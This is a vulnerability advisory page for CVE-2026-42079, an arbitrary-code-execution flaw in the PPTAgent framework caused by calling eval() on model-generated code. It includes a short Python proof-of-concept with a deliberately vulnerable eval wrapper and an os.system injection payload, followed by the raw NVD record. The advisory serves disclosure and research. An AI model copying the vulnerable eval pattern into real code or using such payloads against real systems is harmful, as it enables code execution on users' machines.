Security Vulnerability Report
中文
CVE-2026-42079 CVSS 8.6 HIGH

CVE-2026-42079

Published: 2026-05-04 17:16:25
Last Modified: 2026-05-05 20:19:04

Description

PPTAgent is an agentic framework for reflective PowerPoint generation. Prior to commit 418491a, PPTAgent is vulnerable to arbitrary code execution via Python eval() of LLM-generated code with builtins in scope. This issue has been patched via commit 418491a.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PPTAgent < commit 418491a

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Simulating the vulnerable function in PPTAgent prior to commit 418491a # The vulnerability lies in passing LLM output directly to eval with builtins available. def vulnerable_eval(llm_generated_code): """ This function mimics the vulnerable behavior where builtins are accessible. """ try: # Vulnerable line: eval() with builtins in scope # In the real scenario, 'llm_generated_code' comes from the LLM response. result = eval(llm_generated_code, {"__builtins__": __builtins__}) return result except Exception as e: return str(e) # Proof of Concept: Malicious payload generated by an LLM # This payload aims to execute a system command (e.g., 'whoami' or 'id') malicious_payload = "__import__('os').system('echo CVE-2026-42079 PWNED')" print(f"Executing payload: {malicious_payload}") vulnerable_eval(malicious_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42079", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:24.887", "lastModified": "2026-05-05T20:19:04.323", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PPTAgent is an agentic framework for reflective PowerPoint generation. Prior to commit 418491a, PPTAgent is vulnerable to arbitrary code execution via Python eval() of LLM-generated code with builtins in scope. This issue has been patched via commit 418491a."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}]}], "references": [{"url": "https://github.com/icip-cas/PPTAgent/commit/418491a9a1c02d9d93194b5973bb58df35cf9d00", "source": "[email protected]"}, {"url": "https://github.com/icip-cas/PPTAgent/security/advisories/GHSA-89g2-xw5c-v95p", "source": "[email protected]"}, {"url": "https://github.com/icip-cas/PPTAgent/security/advisories/GHSA-89g2-xw5c-v95p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}